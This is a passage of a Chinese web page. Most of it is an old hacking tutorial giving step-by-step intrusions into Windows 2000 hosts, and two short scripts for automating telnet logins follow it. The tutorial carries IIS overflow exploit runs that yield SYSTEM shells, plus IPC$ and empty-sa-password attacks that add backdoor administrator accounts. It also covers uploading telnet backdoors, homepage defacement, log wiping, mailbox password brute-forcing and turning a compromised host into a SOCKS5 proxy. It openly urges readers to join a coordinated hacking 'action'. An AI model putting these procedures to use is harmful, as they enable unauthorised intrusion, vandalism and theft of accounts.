c:\>nc -vv IP 813
IP: inverse host lookup failed: h_errno 11004: NO_DATA
(UNKNOWN) [IP] 813 (?) open
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:\WINNT\system32>
哈哈,终于上来啦,你现在可是system权限,下面该怎么做就看你的啦。

(4)IDA溢出漏洞
所用程序:idahack
进入MS-DOS方式(假设idq.exe在c:\下)
c:\idahack.exe
运行参数:c:\idahack <host> <hostport> <hosttype> <shellport>
chinese win2k : 1
chinese win2ksp1: 2
chinese win2ksp2: 3
english win2k : 4
english win2ksp1: 5
english win2ksp2: 6
japanese win2k : 7
japanese win2ksp1: 8
japanese win2ksp2: 9
korea win2k : 10
korea win2ksp1: 11
korea win2ksp2: 12
chinese nt sp5 : 13
chinese nt sp6 : 14

c:\idahack 127.0.0.1 80 1 80
connecting...
sending...
Now you can telnet to 80 port
好 luck 
好,现在你可以telnet它的80端口了,我们用NC来连接。
C:\nc 127.0.0.1 80

Microsoft Windows 2000 [Version 5.00.2195]
(C)版权所有 1985-1998 Microsoft Corp
C:\WINNT\system32>
OK,现在我们现在上来了,也可IDQ一样是SYSTEN权限,尽情的玩吧。

(5).printer漏洞
这个漏洞,我们用两个程序来入侵。iis5hack和nc。
C:\>iis5hack
iis5 remote .printer overflow. writen by sunx
http://www.sunx.org
for test only, dont used to hack, :p

usage: D:\IIS5HACK.EXE <Host> <HostPort> <HostType> <ShellPort>
用法: D:\IIS5HACK <溢出的主机> <主机的端口> <主机的类型> <溢出的端口>
chinese edition: 0
chinese edition, sp1: 1
english edition: 2
english edition, sp1: 3
japanese edition: 4
japanese edition, sp1: 5
korea edition: 6
korea edition, sp1: 7
mexico edition: 8
mexico edition, sp1: 9

c:\>iis5hack 127.0.0.19 80 1 119
iis5 remote .printer overflow. writen by sunx
http://www.sunx.org
for test only, dont used to hack, :p
Listn: 80

connecting...
sending...
Now you can telnet to 3739 port
好 luck

溢出成功!
c:\>nc 127.0.0.19 119
http://www.sunx.org

Microsoft Windows 2000 [Version 5.00.2195]
(C) 版权所有 1985-2000 Microsoft Corp.

C:\WINNT\system32>

OK,我们又成功取得system权限!玩吧。

(6)139端口入侵
我们先确定一台存在139端口漏洞的主机。用扫描工具扫描!比如SUPERSCAN这个端口扫描工具。假设现在我们已经得到一台存在139端口漏洞的主机,我们要使用nbtstat -a IP这个命令得到用户的情况!现在我们要做的是与对方计算机进行共享资源的连接。
用到两个NET命令,下面就是这两个命令的使用方法
NET VIEW?
作 用:显示域列表、计算机列表或指定计算机的共享资源列表。?
命令格式:net view [\\computername | /domain[:domainname]]?
参数介绍:?
<1>键入不带参数的net view显示当前域的计算机列表。?
<2>\\computername 指定要查看其共享资源的计算机。?
<3>/domain[:domainname]指定要查看其可用计算机的域?

NET USE?
作用:连接计算机或断开计算机与共享资源的连接,或显示计算机的连接信息。?
命令格式:net use [devicename | *] [\\computername\sharename[\volume]]?
[password | *]] [/user:[domainname\]username] [[/delete] |?
[/persistent:{yes | no}]]?
参数介绍:?
键入不带参数的net use列出网络连接。?
devicename指定要连接到的资源名称或要断开的设备名称。?
\\computername\sharename服务器及共享资源的名称。?
password访问共享资源的密码。?
*提示键入密码。 /user指定进行连接的另外一个用户。?
domainname指定另一个域。?
username指定登录的用户名。?
/home将用户连接到其宿主目录?
/delete取消指定网络连接。?
/persistent控制永久网络连接的使用。?
C:\net use \\IP
C:\net view \\IP
我们已经看到对方共享了他的C,D,E三个盘
我们要做的是使用NBTSTAT命令载入NBT快取.
c:\>nbtstat –R 载入NBT快取
c:\>nbtstat –c 看有无载入NBT快取
现在我们已经得到的139端口漏洞的主机IP地址和用户名,现在就该是我们进入他计算的时候了,点击开始---查找--计算机,将刚才找到的主机名字输入到上面,选择查找,就可以找到这台电脑了!双击就可以进入,其使用的方法和网上领居的一样。

(7)IPC入侵
所有程序:流光
开始:在主界面选择 探测→探测POP3/FTP/NT/SQL主机选项,或者直接按Ctrl+R。输入我们要破解的IP段,我们把“将FrontPage主机自动加入HTTP主机列表取消了”。因为我们只想获得IPC弱口令,这样可以加快扫描的速度 :)填入IP,选择扫描NT/98主机。在“辅助主机”那里的“IPC$主机”前面打勾,然后在菜单了选“探测”,,扫描出结果以后,“IPC$主机”,选中后按“CTRL+F9”就开始探测IPC用户列表。会出现“IPC自动探测”
的窗体,把那两个选项都选了,然后点“选项” 为了加快弱口令扫描速度,这里的两个选项我们可以全部取消记住。然后点“确定”出来后点“是”就开始探测了。一会儿,结果出来了。比如我们探测出了用户名为“admin”的管理员,密码为“admin”,现在我们用命令提示符,熟悉下命令吧,输入:
net use file://对方ip/ipc$ "密码" /user:"用户名" || 建立远程连接
icmd.exe file://对方ip/admin$ || admin$是对方的winnt目录
net time file://对方IP/ || 看看对方的本地时间
at file://对方ip/ 启动程序的时间 启动程序名 启动程序的参数 || 用at命令来定时启动程序
telnet 对方ip 端口

我们也可以改网页:
net use \\ip\ipc$ "admin" /uesr:"admin" 回车。
出现“命令成功完成”。
然后输入“dir \\ip\c$\*.*”
看到C:下所有内容。现在我们来改主页。一般主页放在c:\inetpub\wwwroot里面
输入“dir \\ip\c$\inetpub\wwwroot\*.*”。就可以看到index.htm或index.asp或default.htm或 default.asp.这些就是主页了,假如你黑页在C:下,就输入" 主页文件 \\ip\c$\inetpub\wwwroot"覆盖原文件这样就行了,简单吧?

日志清除,断开连接 :
我们 cl.exe ,clear.exe 上去,再执行,就可以清除日志,比如clear all :清除所有的日志。然后在断开连接:net use file://ip/ipc$ /delete

(8)超管SA空密码漏洞
使用的工具:流光IV
启动流光,按Ctrl+R。出现扫描设置对话框,设置扫描IP段,并且选择扫描的类型为SQL。点击“确定”,进行扫描,假设我们取得主机:127.0.0.1,然后点击“工具” —— SQL远程命令(或者Ctrl+Q),填入主机IP(127.0.0.1)、用户(sa)、密码(空)点击“连接”,出现远程命令行的界面。
net user heiying heiying1 /add 填加一个heiying的帐号和密码heiying1
net localgroup administrators heiying /add 将我们创建的heiying帐号填加到管理组。
下面我们来做跳板:
打开cmd.exe,输入net use \\127.0.0.1\ipc$ "heiying1" /user:"heiying"命令
显示命令成功完成。
上传srv.exe:
srv.exe \\127.0.0.1\admin$\system32
上传ntlm.exe:
ntlm.exe \\127.0.0.1\admin$\system32
启动服务:
首先用net time \\127.0.0.1
看看对方主机的时间,(假如回显\\127.0.0.1 的本地时间是上午12.00),然后我们用at \\2127.0.0.1 12.01 srv.exe命令来启动srv.exe。等一分钟后就可以telnet了。
一分钟后在本机命令提示符中输入:
telnet X.X.X.X 99
然后我们要启动NTLM.exe:
在telnet状态下直接输入ntlm回车。
显示:windows 2000 telnet mp,by assassin,all rights reserved.done!
然后从新启动对方主机的telnet服务:net stop telnet(先关闭telnet服务)再输入net start telnet(启动telnet服务)然后我们退出telnet,然后在命令行下输入telnet 127.0.0.1,依照提示,接着输入用户名:heiying,密码:heiying1,回车。这样,我们的跳板就做好了,简单吧?
(上面上传的srv和ntlm等东东还有一个简便方法,全都可以直接用流光工具菜单里的种植者上传,60秒后自动运行,不用敲命令!呵呵~~~~方便吧!)

(9)如何用流光破解信箱密码
这次的目标是21CN,运行流光IV,选择POP3主机----右键----编辑----添加,填上:pop.21cn.com,其他的就用默认吧!不用更改,确定就行了。到下一步,还是右键-----从列表中添加------选择一个字典,没有的到网上下载一个字典,或者到黑白网络去下载,我们用简单模式探测!这样速度比较快,然后就等着成果吧,上次我以下就破了5个邮箱出来。

(10)frontpage进行攻击
打开您自己的Frontpage,文件菜单下选择“打开站点”,然后在文件夹框里写入http://127.0.0.1(http://不要漏掉)。按下“打开”按钮,一会后,出现了文件夹,成功了,现在就可以操作网页文件了。如果跳出错误信息,表示有密码,我们用以下http://127.0.0.1/_vti_pvt/service.pwd,这是默认的密码文件,下载下来,找个解密器破密码吧!破出来后就还可以改网页。这个只能改该网页,没什么玩的。

(11)用肉鸡做SOCK5代理跳板
需要软件:srv.exe,ntlm.exe,snakeSksockserver.exe,SocksCap.exe。
首先我们在命令提示符下建立IPC$管道:
net use \\127.0.0.1\ipc$ "密码" /user:帐号
通道建立好后,我们把srv.exe sss.exe ntlm.exe全部上传。
c:\ srv.exe \\10.10.10.10\admin$
1 files copied!
c:\ ntlm.exe \\10.10.10.10\admin$
1 files copied!
c:\ sss.exe \\10.10.10.10\admin$
1 files copied!
复制完毕后,
看肉鸡上现在的时间:
c:\net time \\127.0.0.1
显示当前时间是 2002/4/13 晚上 09:00
我们来启动srv.exe
c:\at \\127.0.0.1 09:01 srv.exe
等到09:01后。我们来连接肉鸡:
c:\telnet 127.0.0.1 99
连上后显示:
c:\winnt\system32>
接着我们启动NTLM.exe
c:\winnt\system32>ntlm
显示:
Windows 2000 Telnet Dump, by Assassin, All Rights Reserved.
Done!
C:\WINNT\system32>
首先我们终止srv.exe的telnet服务:
C:\WINNT\system32>net stop telnet
继续:
C:\WINNT\system32>net start telnet
再启动TELNET。
OK,我们来登陆
c:>telnet 127.0.0.1
*==========================================================
Microsoft Telnet
*==========================================================
c:>
好了,一切顺利,我们现在正式开始做代理:
c:>sss.exe -install <---------开始安装
显示:
c:>sksockserver installed!
来看看配置:
c:>sss -config show
显示:
SkServer Port = 1813 <----开放服务的端口 ,我们记着这个1813端口哦
SkServer StartType: 3 - Manual <---服务启动方式
SkServer Enable Client Set Num:0 <---客户端的项目个数
SkServer Pass SkServer Number:0 <---经过SkServer的项目个数

来启动服务:
c:>net start skserver
提示你正在启动,并且完成。
来检查一下是不是启动了:
c:>net start <-----------看看启动的服务列表
These Windows 2000 services are started:

Print Spooler
Server
Snake SockProxy Service <---------------就是它,呵呵!
System Event Notification
TCP/IP NetBIOS Helper Service
Telephony
Telnet
The command completed successfully.

c:>_
好了,到这里我们已经做好了一个socks5代理了,我们自己的哦.OK,下面我们用sockscap来使用我们做代理。
安装好SocksCap后,我们在桌面上打开SocksCap V2,点开File选项选Settings...弹出卡片,在 SOCKS Server里面我们填肉鸡的IP:127.0.0.1,PortT填默认的1813端口,下面的我们选socks version 5,呵呵,和 Attempt local then remot,这是域名解析的顺序,先本地,然后才远程。设置完了点“确定”我们就可以使用了,添加应用程序到sockscap里面,点开那个"new"按钮,会弹出一个卡片,
Profile name :程序名,随便写。
Command Line: 命令行,点后面的Browse...找到你的程序路径
Working:填好上面那个,这个就自动加上.
这样我们就把程序加到SocksCap里面了。
现在们可以双击里面的程序来使用,也可以选住程序在点"Run"来运行。

好了,终于写完了,上面的内容都很简单,很适合初学者,还望高手们不好见笑,刚好听说这次5.1有很多联盟有所行动,希望上面的内容能教会一部分人,少走弯路,让更多的人参与这次行动。UNIX和LINUX由于自己的功力也还不够,还差很远,所以还不敢写。

I. 求一个脚本:自动telnet多个设备(192.168.1.1-10),执行show run命令,并将返回的信息输出到指定文件

简单写一个,根据自己情况改吧

#!/bin/bash

for i in `seq 1 10`
do
echo "=============IP: 192.168.1.$i=============="
(sleep 3;echo admin;sleep 3;echo admin;sleep 3;echo "terminal length 0";sleep 3;echo "show run";sleep 3;exit;)|telnet 192.168.1.$i >> result.`date +%Y%m%d.log 2>&1
echo "==========================================="
done

J. 如何用shell脚本实现自动telnet

很多人认为telnet象passwd和su一样,无法通过管道和输入转向使其自动工作,但实际上telnet是支持输入转向的.虽然,严格的说,shell脚本无法使telnet进入交互状态,但它确实可你使你进入远程系统并运行你希望的命令后退出.这远比用rsh(remsh,rcmd)更令人放心,
使用如下的脚本可以达到你的要求:
(sleep 1;echo user;sleep 1; echo passwd;echo yourcmd ;sleep 1)|telnet remotehost
其中user,passwd,yourcmd,remotehost分别更换成你的用户名,用户口令,你想要运行的命令,远程机器名或IP便可以了. 如果要想使用脚本进入交互状态,可以使用expect.
如果你要通过telnet某个IP的端口来得到部分数据,则可以用以下命令
(sleep 5;) | telnet IP PORT 这样就可以在telnet后将PORT在5秒内输出的数据打印到屏幕上,然后自动退出
EG:
tempValue="KEY"
str4=`(sleep 1;echo AA;sleep 1; echo 123; sleep 1; echo tail -f /aa/log/a.log;sleep 1) | telnet ${IP} | grep ${tempValue}`
num4=`echo ${#str4}`
if [ ${num4} -eq 0 ];then
echo "==::在a.log文件中没有找到关键字KEY,请检查!"
sheet4="@NULL"
else
echo "==::在a.log文件有找到关键字KEY!"
sheet4="@OK"
fi

热点内容
数据库建表代码 发布:2025-03-22 02:10:14 浏览:6
ftp服务器编码 发布:2025-03-22 01:57:00 浏览:904
上传ftp服务器文件 发布:2025-03-22 01:46:31 浏览:494
安卓手机怎么可以内录 发布:2025-03-22 01:45:58 浏览:933
加密狗为什么叫狗 发布:2025-03-22 01:40:19 浏览:375
什么品牌安卓机兼容性好 发布:2025-03-22 01:34:37 浏览:932
安卓大屏音频怎么调 发布:2025-03-22 01:23:51 浏览:66
算法和架构 发布:2025-03-22 01:23:45 浏览:318
如何diy服务器 发布:2025-03-22 01:22:06 浏览:636
怎么看电脑的配置是什么版本锐龙 发布:2025-03-22 01:15:46 浏览:705